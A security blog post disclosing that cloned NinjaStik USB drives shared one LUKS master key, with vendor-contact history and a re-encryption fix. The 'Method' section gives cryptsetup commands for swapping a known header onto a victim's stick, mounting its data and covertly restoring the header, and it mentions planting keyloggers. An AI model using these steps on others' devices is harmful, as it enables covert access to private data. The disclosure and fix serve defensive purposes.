NinjaStik encryption vulnerability

The Discovery

(Photo – Flickr Creative Commons: R’eyes)

We in Bittiraha.fi like gadgets. We also like know what we sell to our customers, so some of the guys started checking out a shipment of NinjaStiks.

I was trying to do some other work while discussing the NinjaStik, anonymity, encryption and other stuff with my co-workers. I had one of those days you just can't get yourself to concentrate..

I'm sceptical of any security tool that doesn't come with the exact instructions on how to reproduce it yourself. There are some instructions on how to get started and technical specifications on the NinjaStik site, but elsewhere on the site they also mention some secret ingredients. People are corruptible and imperfect so anything produced by a human should be considered compromised until proven otherwise. I was arguing my point about trusting a third party when the discussion diverted to the process of changing the default password on the LUKS-partition. There were instructions on how to do so and they came with the NinjaStik.

The Problem

Changing the password for the master key does not change the master key. NinjaStik is a kind of product that you would assume is most conveniently produced by writing an existing disk image to a thumb drive. This was confirmed to be the case with the images extracted from the NinjaStiks we had at hand. We took 2 different NinjaStiks and found they used the same master key. We can assume that the rest of the shipment are clones as well. This means that the claim that your data cannot be accessed without supercomputers and a million years to spend is false. In fact it took 30 minutes including reading man pages, making coffee and browsing Facebook(you can guess which one of these was the most time consuming). It was kind of cool to be able to demonstrate the ability to read the contents of my co-workers drive, which according to the marketing by it's producer was an impossible feat.

The fact how simple it was to defeat the encryption on a NinjaStik raises questions and answers some. How competent are the people behind the development of NinjaStik? Should you take it for granted that someone who produced a security product understands all the caveats or even the basic ones? We're going to re-encrypt the NinjaStiks we sell to our customers as well as include instructions on how to do it themselves.

It would be irresponsible of us to tell our customers to trust that we don't keep copies of the master keys ourselves, so I would rather tell the customer to assume we do and then decide if they want to re-encrypt their device. Who knows, if by accident there is a copy of the master key somewhere in our swap partition and we're forced to hand over that data. Of course whether the customer needs to worry about the encryption depends much on what the customer chooses to do with their NinjaStik or in life generally. For some, who purchase this product, it doesn't really matter if it's encrypted or not.

I didn't explore NinjaStik beyond this vulnerability as I haven't had the time.

The Aftermath

We contacted a NinjaStik representative on the 29th of September and they updated their FAQ pretty soon after we explained the vulnerability to them and provided instructions on how to fix the situation. According to the representative they used to build the NinjaStiks with a room full of PCs, but they recently started cloning. He told us they would contact the customers with affected NinjaStiks and immediately return to building them with the room full of PCs method. He also offered to rebuild the NinjaStiks we had and pay the shipping costs which was nice of him although unnecessary as it's not much of an effort for us to do it ourselves. According the representative there aren't many NinjaStiks out there created with the cloning method. We advised them to build NinjaStiks with another boot option that would boot on the first use and re-encrypt the encrypted partition. We then gave them a week to handle the situation on their end before releasing the details of this vulnerability. Still in their updated FAQ they are downplaying the vulnerability:

"Can I change the encryption passphrase?

Yes you can and it is highly recommended – the NinjaStik ships with a default encryption passphrase and a default login password.  Both of these should be changed the first time you use the NinjaStik.  The NinjaStik also includes instructions to change the volume encryption key to further ensure that even we couldn’t gain access to your NinjaStik."

The wording "to further ensure" sounds to me like something you shouldn't really worry about. In reality the opposite is true. It's not even about just them gaining access to the data on your NinjaStik, everyone can. (The different capacity NinjaStiks might use a different master key, but there are copies of the master keys already out there on already purchased sticks.) Also it's more likely that the one trying to decrypt your device is someone you know or the authorities and thus it's more likely that they have access to the same master key as the one used in your batch.

Then there's the issue of cloning being a recent method for production. I don't see many other plausible reasons for them to use a non-cloning process to manufacture an OS on a thumb drive besides lack of knowledge on how to clone disks or the knowledge that it would make the master key on the NinjaStik known. I'm having difficulties understanding how anyone who put this stick together in the first place would not know how to clone them, so I'm inclined to think they knew that they were compromising the encryption, but maybe didn't realize how serious it was or didn't care. But hey, I'm a paranoid tin foil hat person.

The Method

The same master key is used in all NinjaStiks thus any NinjaStik can be decrypted using the known master key or a backup of the LUKS header(it contains the key). I demonstrate here how to gain access using a copy of a header from a fresh NinjaStik. The way LUKS works is that even if you change the password for the keyslot, the actual key used for encryption stays the same. Therefore it is a trivial task to use a known master key(or vanilla header) to decrypt a LUKS device.

Ingredients: 2 NinjaStiks. The victims NinjaStik, which has an unknown password set and one with a known password.

//Extract the LUKS header from the new NinjaStik. Password is "password"
cryptsetup luksHeaderBackup --header-backup-file=vanilla-header.bak /dev/sda2

//Remove the NinjaStik and plug in the victim's NinjaStik
//Optional step: extract the luks header from the second NinjaStik
cryptsetup luksHeaderBackup --header-backup-file=victim-header.bak /dev/sda2

//Replace the header on the victim's NinjaStik
cryptsetup luksHeaderRestore --header-backup-file=vanilla-header.bak /dev/sdb2

//Open the LUKS partition using the default password "password"
cryptsetup luksOpen /dev/sdb2 stick

//Mount the partition
mkdir /mnt/decrypted
mount /dev/mapper/stick /mnt/decrypted

//Achievement unlocked, you can now read and write on the victims NinjaStik and compromise any security measure on the operating system residing on the stick(install keyloggers or whatever)

//Unmount the stick and close the LUKS partition
umount /mnt/decrypted
cryptsetup luksClose stick

//Restore the original header to the stick
cryptsetup luksHeaderRestore --header-backup-file=victim-header.bak /dev/sdb2

//The victims NinjaStik can now again be opened with the password set by the victim.

One alternative approach is to just clone the victims NinjaStik without making any changes to the stick at all. The contents of the victims NinjaStik can be decrypted using an image of the victims NinjaStik and a header with the known password.

The Quick Fix

In order to prevent unauthorized access to a NinjaStik the very first thing a user should do is re-encrypt the luks partition. This can be done after booting the computer with a linux LiveCD. I recommend Fedora Live Desktop. The cryptsetup-reencrypt tool is not preinstalled on the LiveCD, but you can install it from the command line by issuing the command

sudo yum -y install cryptsetup-reencrypt

A quick look led me to the conclusion that cryptsetup-reencrypt tool is not available on Ubuntu 12.04.3 at the moment. After you have booted up the LiveCD open up a terminal, gain root privileges, plug in the NinjaStik and follow these instructions

//identify the last plugged in device

dmesg|tail
[ 1494.609774] sd 6:0:0:0: [sdf] Write Protect is off
[ 1494.609781] sd 6:0:0:0: [sdf] Mode Sense: 23 00 00 00
[ 1494.610406] sd 6:0:0:0: [sdf] No Caching mode page present
[ 1494.610409] sd 6:0:0:0: [sdf] Assuming drive cache: write through
[ 1494.613495] sd 6:0:0:0: [sdf] No Caching mode page present
[ 1494.613500] sd 6:0:0:0: [sdf] Assuming drive cache: write through
[ 1494.614011]  sdf: sdf1
[ 1494.616820] sd 6:0:0:0: [sdf] No Caching mode page present
[ 1494.616824] sd 6:0:0:0: [sdf] Assuming drive cache: write through
[ 1494.616827] sd 6:0:0:0: [sdf] Attached SCSI removable disk

//you see here we plugged in the device /dev/sdf
//on the NinjaStik the second partition is the encrypted one 
//thus the partition we want to re-encrypt would be /dev/sdf2

//re-encrypt the partition, it will take some time
cryptsetup-reencrypt -B 32 -c aes-xts-plain64 /dev/yourdevice

Alternatively you can and probably should do these operations on a copy of your NinjaStik image instead and after you have confirmed it works write the resulting image on your NinjaStik.

See more info on re-encryption here: http://asalor.blogspot.fi/2012/08/re-encryption-of-luks-device-cryptsetup.html

You should check your master key details with cryptsetup luksDump. The default header we had in our stiks looked like this:

Version:        1
Cipher name:    aes
Cipher mode:    cbc-essiv:sha256
Hash spec:      sha1
Payload offset: 4096
MK bits:        256
MK digest:      bb 49 14 91 26 e1 be 4e 45 2c 9e 81 15 95 45 43 14 1d 9c eb 
MK salt:        09 b3 d0 c4 15 8e cb 0b 4c 20 02 39 a3 71 7c 67 
                61 5c 3a ef 8b 3f f9 87 fb d5 bc 03 b9 eb ca 21 
MK iterations:  18750
UUID:           4f85fbe5-2d73-47e4-a59f-3ae3b080d913

In all cases you should re-encrypt. Even if the master key differs from this one. If you find that your master key matches, leave a comment.

The Solution

NinjaStiks should contain a second boot option to boot the stick into a mode where the encrypted partition is not mounted. After booting is complete the stick should run a script that asks the user for a current password and a new password twice. The script should then re-encrypt the encrypted partition and reboot. At the moment this also requires updating the cryptsetup version to 1.5 as the current available version(1.4.1) on Ubuntu 12.04.3 does not contain the re-encryption tool.

A Conclusion

The worst threat to security is false security.

Originally posted in my blog Semantics

UPDATE:
If you want to check whether you have a NinjaStik that was manufactured with a cloning process, paste the sha256 digest of your master key digest in the comments below.

IMPORTANT:
The only thing that can be proven is that if you find two drives with the same master key digest, the corresponding master key is very compromised. If the digests are different, it does not prove anything. There is no guarantee that someone does not know the master key of your NinjaStik the moment you receive it, therefore if you have to be absolutely sure nobody else can open your NinjaStik you have to re-encrypt if yourself. You should also request that the NinjaStik manufacturer provides a first start feature, where the stick is re-encrypted with a random master key before use.

 If you don't understand what this command does, you probably shouldn't be pasting it into your console.(that goes for every tutorial on the interwebs) You should actually never paste stuff directly to your terminal.

//print out the sha256 digest of your master key digest like this
cryptsetup luksDump /dev/yourdevice|grep 'MK digest'|sed -e 's/^MK digest:[[:space:]]*//'|sha256sum
//you should have a hash that is reasonably well anonymized. Paste it in the comments for others to see and compare.